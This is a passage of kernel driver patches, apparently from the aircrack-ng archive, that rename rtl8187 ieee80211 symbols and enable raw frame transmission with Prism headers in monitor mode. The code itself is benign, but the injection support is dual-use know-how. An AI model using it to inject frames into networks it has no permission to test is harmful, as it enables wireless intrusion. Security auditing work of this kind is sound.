+EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-04-23 00:09:00.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-04-23 00:09:00.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_txpower/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_wx.c 2007-04-23 00:09:00.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); aircrack-ng-1.1/patches/old/rtl8187_2.6.20v4.patch0000644000000000000000000112622010761053203017671 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-05-26 10:37:51.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device 